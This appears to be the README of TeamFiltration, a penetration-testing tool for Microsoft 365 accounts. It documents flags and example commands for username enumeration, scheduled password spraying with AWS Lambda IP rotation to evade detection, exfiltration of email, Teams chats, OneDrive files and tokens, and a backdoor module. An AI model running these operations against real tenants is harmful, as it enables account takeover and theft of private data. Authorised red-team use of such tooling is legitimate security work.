TeamFiltration is a cross-platform framework for enumerating, spraying, exfiltrating, and backdooring O365 EntraID accounts. See the TeamFiltration wiki page for an introduction into how TeamFiltration works and the Quick Start Guide for how to get up and running!
This tool has been used internally at TrustedSec since January 2021 and was publicly released in my talk Taking a Dump In The Cloud during DefCON30.
You can download the latest precompiled release for Linux, Windows and MacOS
The releases are precompiled into a single application-dependent binary. The sizes go up, but you do not need NET or any other dependencies to run them.
TeamFiltration now supports AWS Lambda-based IP rotation for enumeration and spraying operations, providing true per-request IP changes across multiple AWS regions.
Configuration (TeamFiltrationConfig.json):
{
"AWSAccessKey": "AKIAIOSFODNN7EXAMPLE",
"AWSSecretKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"AWSSessionToken": "",
"AwsRegions": ["us-east-1", "us-east-2", "us-west-1", "us-west-2"]
}Features:
- Automatic Deployment: Lambda functions are deployed automatically before enumeration/spraying starts
- Unique Naming: Functions use format
teamfiltration_proxy_#####with random 5-character alphanumeric suffixes - Multi-Region: Deploys one Lambda function per configured AWS region
- Automatic Cleanup: All Lambda functions are deleted on:
- Normal completion
- Early termination
- Ctrl+C (SIGINT)
- IAM Role Management: Automatically creates/reuses the
TeamFiltrationLambdaRoleexecution role - Shuffle Regions Support: Works seamlessly with
--shuffle-regionsflag for randomized region selection
How It Works:
- On startup, TeamFiltration checks for AWS credentials in config
- If present, deploys Lambda proxy functions to each configured region
- Each request routes through a Lambda function (respecting
--shuffle-regionsif enabled) - Lambda functions act as HTTP proxies, rotating source IPs per region
- On exit or Ctrl+C, all Lambda functions are automatically destroyed
Lambda Lifecycle:
[Startup] → [Deploy Lambdas] → [Enum/Spray Operations] → [Ctrl+C or Complete] → [Cleanup Lambdas] → [Exit]
IAM Requirements: The AWS credentials need permissions for:
lambda:CreateFunctionlambda:DeleteFunctionlambda:InvokeFunctioniam:CreateRoleiam:GetRoleiam:AttachRolePolicy
New Flags:
--weekdays: Restrict time-windowed spraying to Monday through Friday only--weekends: Restrict time-windowed spraying to Saturday and Sunday only
Behavior:
- If neither flag is specified,
--time-windowruns every day of the week - The flags are mutually exclusive - using both will result in an error
- At the end of Friday's window with
--weekdays, spraying pauses until Monday - During weekends with
--weekdays, the application remains idle
First-Run-of-Day Fix:
- Previously, with a time window of 09:15-16:45 and a 1-hour delay, the first attempt would occur at 10:15
- Now, the first spray attempt of each day runs immediately when the time window begins
- Subsequent attempts within the same day respect the configured delay
Examples:
# Spray weekdays only, 9am-5pm
--spray --time-window 09:00-17:00 --weekdays
# Spray weekends only, 8am-10pm
--spray --time-window 08:00-22:00 --weekends
# Spray every day (default behavior)
--spray --time-window 09:00-17:00When enumerating with --enum and --domain, you can now select option 12 for the top-formats wordlist:
- URL: https://raw.githubusercontent.com/insidetrust/statistically-likely-usernames/master/top-formats.txt
╔╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╗
╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
╬╬╬╬┤ ╠╬╬╝╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
╬╬╬╬╣ │ ╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
╬╬╬╬╣ ││ ╚╬╬╝╚ └╚╝╬╬╬╬╬╬
╬╬╬╬╣ ╔╦╦╬╬╬╬╬╬╦╦╗ ││ │ ╬╬╬╬╬
╬╬╬╬╣ ╔╬╬╬╝╝┘ ╚╝╝╬╬╬┐ ││ ││ └╬╬╬╬
╬╬╬╬┤ ╬╬╝╚╩╬╗╔ ╚╬╬╬ ││ ││ ╬╬╬╬
╬╬╬╬┤ ╬╝ ╚╬╬╗╗ ╔ ╚╬╗ ││ ├││ ╬╬╬╬
╬╬╬╬┤ ╬╬ ╔╗ ╚╬╬╬╬╬╬╦ ╬╬ │┌ ╔╬┤││ ╔╬╬╬╬
╬╬╬╬┤ ╔╬┤ ╬╬╬ ╬╬╬╬╬╬╬╬╝╝╝╬╬╗ ╠╬╬╬╬╬╬╬╬╬╗ ┌╬╬╬╬╬
╬╬╬╬┤ ╬╬┤ ╚╩┘ ╚╬╬╬╬╬╩ ╠╬╬ ╚╝╝╝╝╝╝╝╝╝╬╬╗╗╗╦╬╬╬╬╬╬╬
╬╬╬╬┤ ╬╬┤ ╠╬╬ ││ ╬╬╬╬╬╬╬╬╬╬╬╬
╬╬╬╬┤ ╬╬ ╦╗ ╗╗ ╬╬ ││ │ ╬╬╬╬
╬╬╬╬┤ └╬┐ ╚╬╗╗ ╔╬╬╝ ╔╬┘ ││ │ ╬╬╬╬
╬╬╬╬┤ └╬╗ ╚╩╩╬╬╬╩╩╝╝ ╔╬╬ ││ │ ╬╬╬╬
╬╬╬╬┤ ╚╬╬╬╗ ┌╗╬╬╝┘ ││ │ ╬╬╬╬
╬╬╬╬┤ ╚╩╬╬╬╦╦╦╦╦╦╬╬╬╝╝ ││ │ ╬╬╬╬
╬╬╬╬┤ ╚╚╝╝╝╝ ││ │ ╬╬╬╬
╬╬╬╬┤ ││ │ ╔╗╬╬╬╬╬
╬╬╬╬┤ ││ ╬╦╦╬╬╬╬╬╬╬╬╬
╬╬╬╬┤ ││ ╔╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
╬╬╬╬┤ ╬╬╬╗╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
└╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╝
╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝╝
"[♥] TeamFiltration V3.7 PUBLIC, created by @Flangvik at @TrustedSec, updated by @6sp33d to support Lambda IP rotation"
[+] Args parsed
Usage:
--outpath Output path to store database and exfiltrated information (Needed for all modules)
--config Local path to your TeamFiltration.json configuration file, if not provided will load from the current path
--exfil Load the exfiltration module
--username Override to target a given username that does not exist in the database
--password Override to target a given password that does not exist in the database
--tokens Override to target a (file with newline seperated JWT tokens|single JWT| , seperated JWT tokens) and perfom exfiltration
--cookie-dump Override to target a given account using it's refresh-cookie-collection
--all Exfiltrate information from ALL SSO resources (Graph, OWA, SharePoint, OneDrive, Teams)
--aad Exfiltrate information from Graph API (domain users and groups)
--teams Exfiltrate information from Teams API (files, chatlogs, attachments, contactlist)
--teams-db Exfiltrate cookies and authentication tokens from an exfiltrated Teams database
--onedrive Exfiltrate information from OneDrive/SharePoint API (accessible SharePoint files and the users entire OneDrive directory)
--owa Exfiltrate information from the Outlook REST API (The last 2k emails, both sent and received)
--owa-limit Set the max amount of emails to exfiltrate, default is 2k.
--jwt-tokens Dump all gathered JSON formated JTW-tokens for SSO resources (MsGraph,AdGraph, Outlook, SharePoint, OneDrive, Teams)
--spray Load the spraying module
--aad-sso Use SecureWorks's Azure Active Directory password brute-forcing technique when spraying
--us-cloud When spraying companies attached to US Tenants (https://login.microsoftonline.us/)
--passwords Path to a list of passwords, common weak-passwords will be generated if not supplied
--exclude Path to a list of emails to exclude from spraying
--seasons-only Password genersated for spraying will only be based on seasons
--months-only Password generated for spraying will only be based on months
--common-only Spray with the top 20 most common passwords
--shuffle-passwords Shuffle the passwordlist before spraying
--shuffle-users Shuffle the target userlist before spraying
--shuffle-regions Shuffle FireProx regions when spraying
--auto-exfil If valid login is found, auto start the exfil module
--sleep-min Minimum minutes to sleep between each full rotation of spraying default=60
--sleep-max Maximum minutes to sleep between each full rotation of spraying default=100
--jitter Seconds between each individual authentication attempt. default=0
--time-window Defines a time windows where spraying should accour, in the military time format <12:00-19:00>
--weekdays Restrict time-windowed execution to Monday-Friday (mutually exclusive with --weekends)
--weekends Restrict time-windowed execution to Saturday-Sunday (mutually exclusive with --weekdays)
--push Get Pushover notifications when valid credentials are found (requires pushover keys in config)
--push-locked Get Pushover notifications when an sprayed account gets locked (requires pushover keys in config)
--force Force the spraying to proceed even if there is less the <sleep> time since the last attempt
Note: When using --time-window, the first spray attempt of each day runs immediately without delay.
Omitting both --weekdays and --weekends runs 7 days per week within the time window.
--enum Load the enumeration module
--domain Domain to perfom enumeration against, names pulled from statistically-likely-usernames if not provided with --usernames
--usernames Path to a list of usernames to enumerate (emails)
--dehashed Use the dehashed submodule in order to enumerate emails from a basedomain
--validate-msol Validate that the given o365 accounts exists using the public GetCredentialType method (Very RateLimited - Slow 20 e/s)
--validate-teams Validate that the given o365 accounts exists using the Teams API method (Recommended - Super Fast 300 e/s)
--validate-login Validate that the given o365 accounts by attemping to login (Noisy - triggers logins - Fast 100 e/s)
--validate-onedrive Validate that the given o365 accounts using @nyxgeek OneDrive method (Recommended - Fast 300 e/s
Note: Username wordlist selection includes option 12 for top-formats.txt, which loads the entire format list (~1M entries when combined with common names)
--backdoor Loads the interactive backdoor module
--database Loads the interactive database browser module
--debug Proxy all outgoing HTTP requests through the proxy specified in the config
--verbose Enable verbose logging; captures all output to TeamFiltration-debug.log in --outpath directory. [LAMBDA] logs only appear in debug file, never in console
AWS Lambda IP Rotation:
Configure AWS credentials in TeamFiltrationConfig.json to enable Lambda-based IP rotation:
- AWSAccessKey: Your AWS access key
- AWSSecretKey: Your AWS secret key
- AWSRegions: Array of AWS regions; enter a region multiple times to generate multiple Lambda functions in that region
When configured, Lambda functions are automatically deployed per region before enumeration/spraying,
and cleaned up on completion or Ctrl+C. The --shuffle-regions flag randomizes region selection.
Examples:
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --spray --sleep-min 120 --sleep-max 200 --push --shuffle-users --shuffle-regions
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --spray --push-locked --months-only --exclude C:\Clients\FooBar\Exclude_Emails.txt
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --spray --passwords C:\Clients\2021\FooBar\Generic\Passwords.txt --time-window 13:00-22:00
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --spray --time-window 09:00-17:00 --weekdays --shuffle-regions
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --spray --time-window 08:00-22:00 --weekends
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --exfil --cookie-dump C:\\CookieData.txt --all
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --exfil --aad
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --exfil --tokens C:\\OutputTokens.txt --onedrive --owa
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --exfil --teams --owa --owa-limit 5000
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --debug --exfil --onedrive
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --enum --validate-onedrive --domain example.com
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --enum --validate-msol --usernames C:\Clients\FooBar\OSINT\Usernames.txt
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --backdoor
--outpath C:\Clients\FooBar\TFOutput --config myCustomConfig.json --database
- GitHub - KoenZomers/OneDriveAPI: API in .NET to communicate with OneDrive Personal and OneDrive for Business
- Research into Undocumented Behavior of Azure AD Refresh Tokens
- WS API Gateway management tool for creating on the fly HTTP pass-through proxies for unique IP rotation
- Credits to Ryan for validating and discussing my observations / questions!
- The entire TrustedSec team for helping me polish this tool!
- The OneDrive enumeration method found by @nyxgeek and script onedrive_user_enum
- AI, for helping this one random dude who can't code worth a crap successfully overhaul half the application to add Lambda IP rotation
